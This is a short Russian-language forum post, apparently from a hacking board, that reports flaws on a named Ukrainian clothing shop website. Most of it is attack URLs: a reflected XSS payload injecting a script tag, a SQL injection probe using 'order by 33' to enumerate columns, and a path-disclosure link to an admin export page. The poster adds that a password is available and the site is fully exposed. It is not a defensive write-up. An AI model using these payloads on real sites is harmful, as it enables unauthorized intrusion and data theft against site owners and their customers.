c411k обогнал... я просто только заметил.. там кста тоже скуль и ксс


sql-inj, XSS..
http://casualwear.com.ua/list.php?c=Pringle+of+Scotland'+%22%3E%3Cscript%3E alert(/halkfild/)%3C/script%3E/*

http://casualwear.com.ua/list.php?c=Pringle+of+Scotland'+order+by+33/*

вообщем дальше не интересно.. так как есть пасс и вообще полное разоблачение..

*добавлено

раскрытие путей
http://casualwear.com.ua/adminexe.php?export